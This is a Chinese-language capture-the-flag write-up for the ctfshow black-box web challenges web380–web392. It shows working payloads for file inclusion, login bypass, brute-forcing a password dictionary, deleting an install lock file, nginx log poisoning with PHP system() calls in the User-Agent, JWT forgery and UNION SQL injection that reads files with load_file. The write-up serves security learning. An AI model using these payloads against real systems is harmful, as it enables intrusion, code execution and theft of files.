ctfshow—黑盒测试
web380
文件包含漏洞
开启环境后,进入界面,是类似一个博客系统
没什么特别异常的东西
有许多文章,随机点入一个文章,观察到url上,为page_1.php

尝试page_2.php,进入第二个文章
尝试去掉下划线,page.php

提示打开$id.php失败,那么可以尝试添加?id=

很明显的文件包含漏洞,包含了后缀为php
尝试能不能直接读取flag

可以读取得到,最后payload:page.php?id=flag
web381
前端使用后端地址路径
打开界面和380相似,但文件包含漏洞修复了
查看源代码,发现引用css处有一处跟前面不一样

逐级访问,直到访问到不一样的地方,出现flag

web382
按web381进入后台地址,有登录界面
尝试用万能密码登录,成功拿到flag

web383
和web382一样做法,万能密码登录
web384
这次提示密码为首两个为小写字母,后三个为数字
写脚本出字典
import string
s1 = string.ascii_lowercase
s2 = string.digits
f = open('dict','w');
for a in s1:
for b in s1:
for c in s2:
for d in s2:
for e in s2:
p = a+b+c+d+e
f.write(p+'\n')
f.close()
账号admin,密码xy123
web385
扫描后台,发现后门

访问,得到如下

然后访问install/?install,重置会密码,访问后台界面登录拿到flag
web386
扫描后台,有install.php和clear.php
访问install提示已经安装完成,并由lock.dat锁住不让重置
访问clear提示清理完成

猜测clear.php是清理文件用的,尝试用file拼接
尝试能不能清除index.phpclear.php?file=./index.php

发现被清除了,那么直接清除lock.dat:clear.php?file=./install/lock.dat
然后访问/install

然后就跟上题一样做法
web387
扫描后台扫到了额外的/debug

尝试访问,发现file not exit
那么在后面添加参数?file=/var/html/www/clear.php看能不能调用clear.php

发现这个作用跟直接访问clear.php是一样的,相当于直接执行
然后发现可以打开日志文件:/debug/?file=/var/log/nginx/access.log

做法一
然后添加User-Agent尝试删除lock.dat文件
<?php unlink('/var/www/html/install/lock.dat')?>
访问/debug再访问/debug/?file=/var/log/nginx/access.log写入文件
再访问/install/,发现已经删除

剩下做法如前题
做法二
添加User-Agent,执行命令结果写入1.txt
<?php system('ls / >/var/www/html/1.txt');?>
访问/debug再访问/debug/?file=/var/log/nginx/access.log写入文件
再访问/1.txt

发现可以看到执行命令的结果
做前面题发现,每次登录后台时发现url上都是执行check.php
猜测flag在check.php
那么查看check.php的结果写入文件内
<?php system('cat /var/www/html/alsckdfy/check.php >/var/www/html/1.txt');?>

web388
方法和web387一样,只是没有回显
web389
条件反射 JWT
扫描到依然有/debug后门,访问

权限不足,没登录,应该需要admin权限
查看cookie,eyJh开头,条件反射 JWT

去JWT网站修改加密:JSON Web Tokens – jwt.io
在user处改成admin,下方随机生成密钥

加密后修改cookie,再次访问就如上几题一样做
web390
修改JWT条件反射不行了,只能点点文章看看
发现文章上的url编码换了,变成了
/page.php?id=1,可能存在sql注入
page.php?id=1 union select 1,2,3 limit 1,1 #
发现回显2和3,那么从2和3中查询
利用sql注入读取文件
/page.php?id=1 union select 1,(select username from admin_user),substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255) limit 1,1 #
php代码被注释,在元素中看到

web391
多了个搜索框,猜测搜索为注入点

原理一样,只是注入方式不一样
search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255) limit 1,1 %23
web392
flag不在check.php了,尝试发现在根目录
/search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('/flag')),1,255) limit 0,1 %23